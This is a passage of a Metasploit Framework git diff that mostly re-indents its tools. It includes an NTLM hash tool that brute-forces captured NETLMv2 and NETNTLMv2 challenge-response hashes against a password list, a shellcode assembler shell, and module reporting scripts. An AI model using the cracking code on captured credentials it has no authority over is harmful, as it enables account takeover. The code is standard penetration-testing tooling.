bytes of hexadecimal" - exit - end - if not user - $stderr.puts "[*] User name must be provided with this type" - exit - end - if not domain - $stderr.puts "[*] Domain name must be provided with this type" - exit - end - arglm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user,pass, domain), - :challenge => [ srvchal ].pack("H*") } - optlm = { :client_challenge => [ clichal ].pack("H*")} - calculatedhash = CRYPT::lmv2_response(arglm, optlm).unpack("H*")[0].upcase - if hash.upcase == calculatedhash.slice(0,32) - puts "[*] Correct password provided : #{pass}" - exit - else - puts "[*] Incorrect password provided : #{pass}" - exit - end - end + case mode + when BRUTE_MODE + if not hash =~ /^([a-fA-F0-9]{32})$/ + $stderr.puts "[*] NETLMv2 HASH must be exactly 32 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge mus be exactly 16 bytes of hexadecimal" + exit + end + if not clichal + $stderr.puts "[*] Client challenge must be provided with this type" + exit + end + if not clichal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not user + $stderr.puts "[*] User name must be provided with this type" + exit + end + if not domain + $stderr.puts "[*] Domain name must be provided with this type" + exit + end + + File.open(list,"rb") do |password_list| + password_list.each_line do |line| + password = line.gsub("\r\n",'').gsub("\n",'') + puts password + arglm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user,password, domain), + :challenge => [ srvchal ].pack("H*") } + optlm = { :client_challenge => [ clichal ].pack("H*")} + calculatedhash = CRYPT::lmv2_response(arglm, optlm).unpack("H*")[0].upcase + if calculatedhash.slice(0,32) == hash.upcase + puts "[*] Correct password found : #{password}" + exit + end + end + end + puts "[*] No password found" + exit + when HASH_MODE + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not clichal + $stderr.puts "[*] Client challenge must be provided with this type" + exit + end + if not clichal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not user + $stderr.puts "[*] User name must be provided with this type" + exit + end + if not domain + $stderr.puts "[*] Domain name must be provided with this type" + exit + end + + arglm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user,pass, domain), + :challenge => [ srvchal ].pack("H*") } + optlm = { :client_challenge => [ clichal ].pack("H*")} + calculatedhash = CRYPT::lmv2_response(arglm, optlm).unpack("H*")[0].upcase + + puts "[*] The NETLMv2 hash for #{pass} is : #{calculatedhash.slice(0,32)}" + exit + when PASS_MODE + if not hash =~ /^([a-fA-F0-9]{32})$/ + $stderr.puts "[*] NETLMv2 HASH must be exactly 32 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not clichal + $stderr.puts "[*] Client challenge must be provided with this type" + exit + end + if not clichal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not user + $stderr.puts "[*] User name must be provided with this type" + exit + end + if not domain + $stderr.puts "[*] Domain name must be provided with this type" + exit + end + arglm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user,pass, domain), + :challenge => [ srvchal ].pack("H*") } + optlm = { :client_challenge => [ clichal ].pack("H*")} + calculatedhash = CRYPT::lmv2_response(arglm, optlm).unpack("H*")[0].upcase + if hash.upcase == calculatedhash.slice(0,32) + puts "[*] Correct password provided : #{pass}" + exit + else + puts "[*] Incorrect password provided : #{pass}" + exit + end + end when "NETNTLMv2" - case mode - when BRUTE_MODE - if not hash =~ /^([a-fA-F0-9]{32})$/ - $stderr.puts "[*] NETNTLMv2 HASH must be exactly 32 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - if not clichal - $stderr.puts "[*] Client challenge must be provided with this type" - exit - end - if not clichal =~ /^([a-fA-F0-9]{17,})$/ - $stderr.puts "[*] Client challenge must be bigger then 16 bytes of hexadecimal" - exit - end - if not user - $stderr.puts "[*] User name must be provided with this type" - exit - end - if not domain - $stderr.puts "[*] Domain name must be provided with this type" - exit - end - - File.open(list,"rb") do |password_list| - password_list.each_line do |line| - password = line.gsub("\r\n",'').gsub("\n",'') - for permutedpw in permute_pw(password) - puts permutedpw - argntlm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user, permutedpw, domain), - :challenge => [ srvchal ].pack("H*") } - optntlm = { :nt_client_challenge => [ clichal ].pack("H*")} - calculatedhash = CRYPT::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase - - if calculatedhash.slice(0,32) == hash.upcase - puts "[*] Correct password found : #{password}" - exit - end - end - end - end - puts "[*] No password found" - exit - when HASH_MODE - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - if not clichal - $stderr.puts "[*] Client challenge must be provided with this type" - exit - end - if not clichal =~ /^([a-fA-F0-9]{17,})$/ - $stderr.puts "[*] Client challenge must be bigger then 16 bytes of hexadecimal" - exit - end - if not user - $stderr.puts "[*] User name must be provided with this type" - exit - end - if not domain - $stderr.puts "[*] Domain name must be provided with this type" - exit - end - - argntlm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user, pass, domain), - :challenge => [ srvchal ].pack("H*") } - optntlm = { :nt_client_challenge => [ clichal ].pack("H*")} - calculatedhash = CRYPT::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase - - puts "[*] The NETNTLMv2 hash for #{pass} is : #{calculatedhash.slice(0,32)}" - exit - when PASS_MODE - if not hash =~ /^([a-fA-F0-9]{32})$/ - $stderr.puts "[*] NETNTLMv2 HASH must be exactly 32 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - if not clichal - $stderr.puts "[*] Client challenge must be provided with this type" - exit - end - if not clichal =~ /^([a-fA-F0-9]{17,})$/ - $stderr.puts "[*] Client challenge must be bigger then 16 bytes of hexadecimal" - exit - end - if not user - $stderr.puts "[*] User name must be provided with this type" - exit - end - if not domain - $stderr.puts "[*] Domain name must be provided with this type" - exit - end - - for permutedpw in permute_pw(password) - argntlm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user, permutedpw, domain), - :challenge => [ srvchal ].pack("H*") } - optntlm = { :nt_client_challenge => [ clichal ].pack("H*")} - calculatedhash = CRYPT::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase - - if hash.upcase == calculatedhash.slice(0,32) - puts "[*] Correct password provided : #{permutedpw}" - exit - end - end - puts "[*] Incorrect password provided : #{pass}" - exit - end + case mode + when BRUTE_MODE + if not hash =~ /^([a-fA-F0-9]{32})$/ + $stderr.puts "[*] NETNTLMv2 HASH must be exactly 32 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not clichal + $stderr.puts "[*] Client challenge must be provided with this type" + exit + end + if not clichal =~ /^([a-fA-F0-9]{17,})$/ + $stderr.puts "[*] Client challenge must be bigger then 16 bytes of hexadecimal" + exit + end + if not user + $stderr.puts "[*] User name must be provided with this type" + exit + end + if not domain + $stderr.puts "[*] Domain name must be provided with this type" + exit + end + + File.open(list,"rb") do |password_list| + password_list.each_line do |line| + password = line.gsub("\r\n",'').gsub("\n",'') + for permutedpw in permute_pw(password) + puts permutedpw + argntlm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user, permutedpw, domain), + :challenge => [ srvchal ].pack("H*") } + optntlm = { :nt_client_challenge => [ clichal ].pack("H*")} + calculatedhash = CRYPT::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase + + if calculatedhash.slice(0,32) == hash.upcase + puts "[*] Correct password found : #{password}" + exit + end + end + end + end + puts "[*] No password found" + exit + when HASH_MODE + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not clichal + $stderr.puts "[*] Client challenge must be provided with this type" + exit + end + if not clichal =~ /^([a-fA-F0-9]{17,})$/ + $stderr.puts "[*] Client challenge must be bigger then 16 bytes of hexadecimal" + exit + end + if not user + $stderr.puts "[*] User name must be provided with this type" + exit + end + if not domain + $stderr.puts "[*] Domain name must be provided with this type" + exit + end + + argntlm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user, pass, domain), + :challenge => [ srvchal ].pack("H*") } + optntlm = { :nt_client_challenge => [ clichal ].pack("H*")} + calculatedhash = CRYPT::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase + + puts "[*] The NETNTLMv2 hash for #{pass} is : #{calculatedhash.slice(0,32)}" + exit + when PASS_MODE + if not hash =~ /^([a-fA-F0-9]{32})$/ + $stderr.puts "[*] NETNTLMv2 HASH must be exactly 32 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not clichal + $stderr.puts "[*] Client challenge must be provided with this type" + exit + end + if not clichal =~ /^([a-fA-F0-9]{17,})$/ + $stderr.puts "[*] Client challenge must be bigger then 16 bytes of hexadecimal" + exit + end + if not user + $stderr.puts "[*] User name must be provided with this type" + exit + end + if not domain + $stderr.puts "[*] Domain name must be provided with this type" + exit + end + + for permutedpw in permute_pw(password) + argntlm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user, permutedpw, domain), + :challenge => [ srvchal ].pack("H*") } + optntlm = { :nt_client_challenge => [ clichal ].pack("H*")} + calculatedhash = CRYPT::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase + + if hash.upcase == calculatedhash.slice(0,32) + puts "[*] Correct password provided : #{permutedpw}" + exit + end + end + puts "[*] Incorrect password provided : #{pass}" + exit + end else - $stderr.puts "type must be of type : HALFLM/LM/NTLM/HALFNETLMv1/NETLMv1/NETNTLMv1/NETNTLM2_SESSION/NETLMv2/NETNTLMv2" - exit + $stderr.puts "type must be of type : HALFLM/LM/NTLM/HALFNETLMv1/NETLMv1/NETNTLMv1/NETNTLM2_SESSION/NETLMv2/NETNTLMv2" + exit end diff --git a/tools/metasm_shell.rb b/tools/metasm_shell.rb index 355137a96aed..a7d36808223a 100755 --- a/tools/metasm_shell.rb +++ b/tools/metasm_shell.rb @@ -16,7 +16,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -34,70 +34,70 @@ @Arch = ['Ia32','MIPS','ARM','X86_64'] def usage - $stderr.puts("\nUsage: #{$0} \n" + $args.usage) - exit + $stderr.puts("\nUsage: #{$0} \n" + $args.usage) + exit end - + $args = Rex::Parser::Arguments.new( - "-a" => [ true, "The architecture to encode as (#{@Arch.sort.collect{|a| a + ', ' }.join.gsub(/\, $/,'')})"], - "-h" => [ false, "Display this help information" ]) + "-a" => [ true, "The architecture to encode as (#{@Arch.sort.collect{|a| a + ', ' }.join.gsub(/\, $/,'')})"], + "-h" => [ false, "Display this help information" ]) $args.parse(ARGV) { |opt, idx, val| - case opt - when "-a" - found = nil - @Arch.each { |a| - if val.downcase == a.downcase - String.class_eval("@@cpu = Metasm::#{a}.new") - found = true - end - } - usage if not found - - when "-h" - usage - else - usage - end + case opt + when "-a" + found = nil + @Arch.each { |a| + if val.downcase == a.downcase + String.class_eval("@@cpu = Metasm::#{a}.new") + found = true + end + } + usage if not found + + when "-h" + usage + else + usage + end } class String - @@cpu ||= Metasm::Ia32.new - class << self - def cpu() @@cpu end - def cpu=(c) @@cpu=c end - end - - # encodes the current string as a Shellcode, returns the resulting EncodedData - def encode_edata - s = Metasm::Shellcode.assemble @@cpu, self - s.encoded - end - - # encodes the current string as a Shellcode, returns the resulting binary String - # outputs warnings on unresolved relocations - def encode - ed = encode_edata - if not ed.reloc.empty? - puts 'W: encoded string has unresolved relocations: ' + ed.reloc.map { |o, r| r.target.inspect }.join(', ') - end - ed.fill - ed.data - end - - # decodes the current string as a Shellcode, with specified base address - # returns the resulting Disassembler - def decode_blocks(base_addr=0, eip=base_addr) - sc = Metasm::Shellcode.decode(self, @@cpu) - sc.base_addr = base_addr - sc.disassemble(eip) - end - - # decodes the current string as a Shellcode, with specified base address - # returns the asm source equivallent - def decode(base_addr=0, eip=base_addr) - decode_blocks(base_addr, eip).to_s - end + @@cpu ||= Metasm::Ia32.new + class << self + def cpu() @@cpu end + def cpu=(c) @@cpu=c end + end + + # encodes the current string as a Shellcode, returns the resulting EncodedData + def encode_edata + s = Metasm::Shellcode.assemble @@cpu, self + s.encoded + end + + # encodes the current string as a Shellcode, returns the resulting binary String + # outputs warnings on unresolved relocations + def encode + ed = encode_edata + if not ed.reloc.empty? + puts 'W: encoded string has unresolved relocations: ' + ed.reloc.map { |o, r| r.target.inspect }.join(', ') + end + ed.fill + ed.data + end + + # decodes the current string as a Shellcode, with specified base address + # returns the resulting Disassembler + def decode_blocks(base_addr=0, eip=base_addr) + sc = Metasm::Shellcode.decode(self, @@cpu) + sc.base_addr = base_addr + sc.disassemble(eip) + end + + # decodes the current string as a Shellcode, with specified base address + # returns the asm source equivallent + def decode(base_addr=0, eip=base_addr) + decode_blocks(base_addr, eip).to_s + end end @@ -110,17 +110,17 @@ def decode(base_addr=0, eip=base_addr) puts 'type "exit" or "quit" to quit', 'use ";" or "\\n" for newline', '' shell.run { |l| - l.gsub!(/(\r|\n)/, '') - l.gsub!(/\\n/, "\n") - l.gsub!(';', "\n") - - break if %w[quit exit].include? l.chomp - next if l.strip.empty? - - begin - l = l.encode - puts '"' + l.unpack('C*').map { |c| '\\x%02x' % c }.join + '"' - rescue Metasm::Exception => e - puts "Error: #{e.class} #{e.message}" - end + l.gsub!(/(\r|\n)/, '') + l.gsub!(/\\n/, "\n") + l.gsub!(';', "\n") + + break if %w[quit exit].include? l.chomp + next if l.strip.empty? + + begin + l = l.encode + puts '"' + l.unpack('C*').map { |c| '\\x%02x' % c }.join + '"' + rescue Metasm::Exception => e + puts "Error: #{e.class} #{e.message}" + end } diff --git a/tools/module_author.rb b/tools/module_author.rb index f6352c0ca9c0..13de30214914 100755 --- a/tools/module_author.rb +++ b/tools/module_author.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -29,38 +29,38 @@ regex = nil opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-s" => [ false, "Sort by Author instead of Module Type."], - "-r" => [ false, "Reverse Sort"], - "-f" => [ true, "Filter based on Module Type [#{filters.map{|f|f.capitalize}.join(", ")}] (Default = All)."], - "-x" => [ true, "String or RegEx to try and match against the Author Field"] + "-h" => [ false, "Help menu." ], + "-s" => [ false, "Sort by Author instead of Module Type."], + "-r" => [ false, "Reverse Sort"], + "-f" => [ true, "Filter based on Module Type [#{filters.map{|f|f.capitalize}.join(", ")}] (Default = All)."], + "-x" => [ true, "String or RegEx to try and match against the Author Field"] ) opts.parse(ARGV) { |opt, idx, val| - case opt - when "-h" - puts "\nMetasploit Script for Displaying Module Author information." - puts "==========================================================" - puts opts.usage - exit - when "-s" - puts "Sorting by Author" - sort = 1 - when "-r" - puts "Reverse Sorting" - sort = 2 - when "-f" - unless filters.include?(val.downcase) - puts "Invalid Filter Supplied: #{val}" - puts "Please use one of these: #{filters.map{|f|f.capitalize}.join(", ")}" - exit - end - puts "Module Filter: #{val}" - filter = val - when "-x" - puts "Regex: #{val}" - regex = Regexp.new(val) - end + case opt + when "-h" + puts "\nMetasploit Script for Displaying Module Author information." + puts "==========================================================" + puts opts.usage + exit + when "-s" + puts "Sorting by Author" + sort = 1 + when "-r" + puts "Reverse Sorting" + sort = 2 + when "-f" + unless filters.include?(val.downcase) + puts "Invalid Filter Supplied: #{val}" + puts "Please use one of these: #{filters.map{|f|f.capitalize}.join(", ")}" + exit + end + puts "Module Filter: #{val}" + filter = val + when "-x" + puts "Regex: #{val}" + regex = Regexp.new(val) + end } @@ -73,7 +73,7 @@ # If the user only wants a particular module type, no need to load the others if filter.downcase != 'all' - framework_opts[:module_types] = [ filter.downcase ] + framework_opts[:module_types] = [ filter.downcase ] end # Initialize the simplified framework instance. @@ -81,45 +81,45 @@ tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Module References', - 'Indent' => Indent.length, - 'Columns' => [ 'Module', 'Reference' ] + 'Header' => 'Module References', + 'Indent' => Indent.length, + 'Columns' => [ 'Module', 'Reference' ] ) names = {} $framework.modules.each { |name, mod| - x = mod.new - x.author.each do |r| - r = r.to_s - if regex.nil? or r =~ regex - tbl << [ x.fullname, r ] - names[r] ||= 0 - names[r] += 1 - end - end + x = mod.new + x.author.each do |r| + r = r.to_s + if regex.nil? or r =~ regex + tbl << [ x.fullname, r ] + names[r] ||= 0 + names[r] += 1 + end + end } if sort == 1 - tbl.sort_rows(1) + tbl.sort_rows(1) end if sort == 2 - tbl.sort_rows(1) - tbl.rows.reverse + tbl.sort_rows(1) + tbl.rows.reverse end puts tbl.to_s tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Module Count by Author', - 'Indent' => Indent.length, - 'Columns' => [ 'Count', 'Name' ] + 'Header' => 'Module Count by Author', + 'Indent' => Indent.length, + 'Columns' => [ 'Count', 'Name' ] ) names.keys.sort {|a,b| names[b] <=> names[a] }.each do |name| - tbl << [ names[name].to_s, name ] + tbl << [ names[name].to_s, name ] end puts diff --git a/tools/module_changelog.rb b/tools/module_changelog.rb index 4552ff05446d..98e8ace0f07d 100755 --- a/tools/module_changelog.rb +++ b/tools/module_changelog.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -24,8 +24,8 @@ def usage - $stderr.puts "#{$0} [dst rev]" - exit(0) + $stderr.puts "#{$0} [dst rev]" + exit(0) end src_rev = ARGV.shift || usage() @@ -48,26 +48,26 @@ def usage data.each_line do |line| - action, mname = line.strip.split(/\s+/, 2) - mname = mname.gsub(/^.*modules\//, '').gsub('exploits', 'exploit').gsub(/\.rb$/, '') - case action - when /^A/ - # Added a new module - m = framework.modules.create(mname) - if m - madd << "\"#{m.name}\":http://www.metasploit.com/modules/#{mname}" - end - when /^D/ - # Deleted a module - mdel << mname - when /^M/ - # Modified a module - # Added a new module - m = framework.modules.create(mname) - if m - mmod << "\"#{m.name}\":http://www.metasploit.com/modules/#{mname}" - end - end + action, mname = line.strip.split(/\s+/, 2) + mname = mname.gsub(/^.*modules\//, '').gsub('exploits', 'exploit').gsub(/\.rb$/, '') + case action + when /^A/ + # Added a new module + m = framework.modules.create(mname) + if m + madd << "\"#{m.name}\":http://www.metasploit.com/modules/#{mname}" + end + when /^D/ + # Deleted a module + mdel << mname + when /^M/ + # Modified a module + # Added a new module + m = framework.modules.create(mname) + if m + mmod << "\"#{m.name}\":http://www.metasploit.com/modules/#{mname}" + end + end end diff --git a/tools/module_commits.rb b/tools/module_commits.rb index 2f447c9f82f4..3f659bdf0879 100755 --- a/tools/module_commits.rb +++ b/tools/module_commits.rb @@ -15,7 +15,7 @@ class CommitHistory < Struct.new(:fname, :total, :authors) msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end dir = ARGV[0] || File.join(msfbase, "modules", "exploits") diff --git a/tools/module_count.rb b/tools/module_count.rb index 4080a17eebc1..1e81a3298928 100755 --- a/tools/module_count.rb +++ b/tools/module_count.rb @@ -4,7 +4,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) diff --git a/tools/module_disclodate.rb b/tools/module_disclodate.rb index 45a545a195b8..b6a0715a2254 100755 --- a/tools/module_disclodate.rb +++ b/tools/module_disclodate.rb @@ -8,7 +8,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -30,64 +30,64 @@ match = nil opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-s" => [ false, "Sort by Disclosure Date instead of Module Type."], - "-r" => [ false, "Reverse Sort"], - "-f" => [ true, "Filter based on Module Type [#{filters.map{|f|f.capitalize}.join(", ")}] (Default = All)."], - "-n" => [ false, "Filter out modules that have no Disclosure Date listed."], - "-d" => [ true, "Start of Date Range YYYY-MM-DD."], - "-D" => [ true, "End of Date Range YYYY-MM-DD."] + "-h" => [ false, "Help menu." ], + "-s" => [ false, "Sort by Disclosure Date instead of Module Type."], + "-r" => [ false, "Reverse Sort"], + "-f" => [ true, "Filter based on Module Type [#{filters.map{|f|f.capitalize}.join(", ")}] (Default = All)."], + "-n" => [ false, "Filter out modules that have no Disclosure Date listed."], + "-d" => [ true, "Start of Date Range YYYY-MM-DD."], + "-D" => [ true, "End of Date Range YYYY-MM-DD."] ) opts.parse(ARGV) { |opt, idx, val| - case opt - when "-h" - puts "\nMetasploit Script for Displaying Module Disclosure Date Information." - puts "==========================================================" - puts opts.usage - exit - when "-s" - puts "Sorting by Disclosure Date" - sort = 1 - when "-r" - puts "Reverse Sorting" - sort = 2 - when "-f" - unless filters.include?(val.downcase) - puts "Invalid Filter Supplied: #{val}" - puts "Please use one of these: #{filters.map{|f|f.capitalize}.join(", ")}" - exit - end - puts "Module Filter: #{val}" - filter = val - when "-n" - puts "Excluding Null dates" - nilc=1 - when "-d" - (year,month,day) = val.split('-') - if Date.valid_civil?(year.to_i,month.to_i,day.to_i) - startdate= Date.new(year.to_i,month.to_i,day.to_i) - puts "Start Date: #{startdate}" - else - puts "Invalid Start Date: #{val}" - exit - end - when "-D" - (year,month,day) = val.split('-') - if Date.valid_civil?(year.to_i,month.to_i,day.to_i) - enddate= Date.new(year.to_i,month.to_i,day.to_i) - puts "End Date: #{enddate}" - else - puts "Invalid Start Date: #{val}" - exit - end - else - if opt - puts "Unknown option" - exit - end - match = Regexp.new(val) - end + case opt + when "-h" + puts "\nMetasploit Script for Displaying Module Disclosure Date Information." + puts "==========================================================" + puts opts.usage + exit + when "-s" + puts "Sorting by Disclosure Date" + sort = 1 + when "-r" + puts "Reverse Sorting" + sort = 2 + when "-f" + unless filters.include?(val.downcase) + puts "Invalid Filter Supplied: #{val}" + puts "Please use one of these: #{filters.map{|f|f.capitalize}.join(", ")}" + exit + end + puts "Module Filter: #{val}" + filter = val + when "-n" + puts "Excluding Null dates" + nilc=1 + when "-d" + (year,month,day) = val.split('-') + if Date.valid_civil?(year.to_i,month.to_i,day.to_i) + startdate= Date.new(year.to_i,month.to_i,day.to_i) + puts "Start Date: #{startdate}" + else + puts "Invalid Start Date: #{val}" + exit + end + when "-D" + (year,month,day) = val.split('-') + if Date.valid_civil?(year.to_i,month.to_i,day.to_i) + enddate= Date.new(year.to_i,month.to_i,day.to_i) + puts "End Date: #{enddate}" + else + puts "Invalid Start Date: #{val}" + exit + end + else + if opt + puts "Unknown option" + exit + end + match = Regexp.new(val) + end } @@ -99,7 +99,7 @@ # If the user only wants a particular module type, no need to load the others if filter.downcase != 'all' - framework_opts[:module_types] = [ filter.downcase ] + framework_opts[:module_types] = [ filter.downcase ] end # Initialize the simplified framework instance. @@ -107,34 +107,34 @@ tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Module References', - 'Indent' => Indent.length, - 'Columns' => [ 'Module', 'Disclosure Date' ] + 'Header' => 'Module References', + 'Indent' => Indent.length, + 'Columns' => [ 'Module', 'Disclosure Date' ] ) $framework.modules.each { |name, mod| - next if match and not name =~ match - x = mod.new - if x.disclosure_date.nil? - if nilc==1 - tbl << [ x.fullname, '' ] - end - else - if x.disclosure_date >= startdate and x.disclosure_date <= enddate - tbl << [ x.fullname, x.disclosure_date ] - end - end + next if match and not name =~ match + x = mod.new + if x.disclosure_date.nil? + if nilc==1 + tbl << [ x.fullname, '' ] + end + else + if x.disclosure_date >= startdate and x.disclosure_date <= enddate + tbl << [ x.fullname, x.disclosure_date ] + end + end } if sort == 1 - tbl.sort_rows(1) + tbl.sort_rows(1) end if sort == 2 - tbl.sort_rows(1) - tbl.rows.reverse + tbl.sort_rows(1) + tbl.rows.reverse end puts tbl.to_s diff --git a/tools/module_license.rb b/tools/module_license.rb index 476a602fbbe2..86011fda47f1 100755 --- a/tools/module_license.rb +++ b/tools/module_license.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -23,22 +23,22 @@ require 'msf/base' def lic_short(l) - if (l.class == Array) - l = l[0] - end - - case l - when MSF_LICENSE - 'MSF' - when GPL_LICENSE - 'GPL' - when BSD_LICENSE - 'BSD' - when ARTISTIC_LICENSE - 'ART' - else - 'UNK' - end + if (l.class == Array) + l = l[0] + end + + case l + when MSF_LICENSE + 'MSF' + when GPL_LICENSE + 'GPL' + when BSD_LICENSE + 'BSD' + when ARTISTIC_LICENSE + 'ART' + else + 'UNK' + end end @@ -49,39 +49,39 @@ def lic_short(l) regex= '' opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-s" => [ false, "Sort by License instead of Module Type."], - "-r" => [ false, "Reverse Sort"], - "-f" => [ true, "Filter based on Module Type [#{filters.map{|f|f.capitalize}.join(", ")}] (Default = All)."], - "-x" => [ true, "String or RegEx to try and match against the License Field"] + "-h" => [ false, "Help menu." ], + "-s" => [ false, "Sort by License instead of Module Type."], + "-r" => [ false, "Reverse Sort"], + "-f" => [ true, "Filter based on Module Type [#{filters.map{|f|f.capitalize}.join(", ")}] (Default = All)."], + "-x" => [ true, "String or RegEx to try and match against the License Field"] ) opts.parse(ARGV) { |opt, idx, val| - case opt - when "-h" - puts "\nMetasploit Script for Displaying Module License information." - puts "==========================================================" - puts opts.usage - exit - when "-s" - puts "Sorting by License" - sort = 1 - when "-r" - puts "Reverse Sorting" - sort = 2 - when "-f" - unless filters.include?(val.downcase) - puts "Invalid Filter Supplied: #{val}" - puts "Please use one of these: #{filters.map{|f|f.capitalize}.join(", ")}" - exit - end - puts "Module Filter: #{val}" - filter = val - when "-x" - puts "Regex: #{val}" - reg=1 - regex = val - end + case opt + when "-h" + puts "\nMetasploit Script for Displaying Module License information." + puts "==========================================================" + puts opts.usage + exit + when "-s" + puts "Sorting by License" + sort = 1 + when "-r" + puts "Reverse Sorting" + sort = 2 + when "-f" + unless filters.include?(val.downcase) + puts "Invalid Filter Supplied: #{val}" + puts "Please use one of these: #{filters.map{|f|f.capitalize}.join(", ")}" + exit + end + puts "Module Filter: #{val}" + filter = val + when "-x" + puts "Regex: #{val}" + reg=1 + regex = val + end } @@ -96,7 +96,7 @@ def lic_short(l) # If the user only wants a particular module type, no need to load the others if filter.downcase != 'all' - framework_opts[:module_types] = [ filter.downcase ] + framework_opts[:module_types] = [ filter.downcase ] end # Initialize the simplified framework instance. @@ -104,30 +104,30 @@ def lic_short(l) tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Licensed Modules', - 'Indent' => Indent.length, - 'Columns' => [ 'License','Type', 'Name' ] + 'Header' => 'Licensed Modules', + 'Indent' => Indent.length, + 'Columns' => [ 'License','Type', 'Name' ] ) licenses = {} $framework.modules.each { |name, mod| - x = mod.new - lictype = lic_short(x.license) - if reg==0 or lictype=~/#{regex}/ - tbl << [ lictype, mod.type.capitalize, name ] - end + x = mod.new + lictype = lic_short(x.license) + if reg==0 or lictype=~/#{regex}/ + tbl << [ lictype, mod.type.capitalize, name ] + end } if sort == 1 - tbl.sort_rows(0) + tbl.sort_rows(0) end if sort == 2 - tbl.sort_rows(1) - tbl.rows.reverse + tbl.sort_rows(1) + tbl.rows.reverse end puts tbl.to_s diff --git a/tools/module_mixins.rb 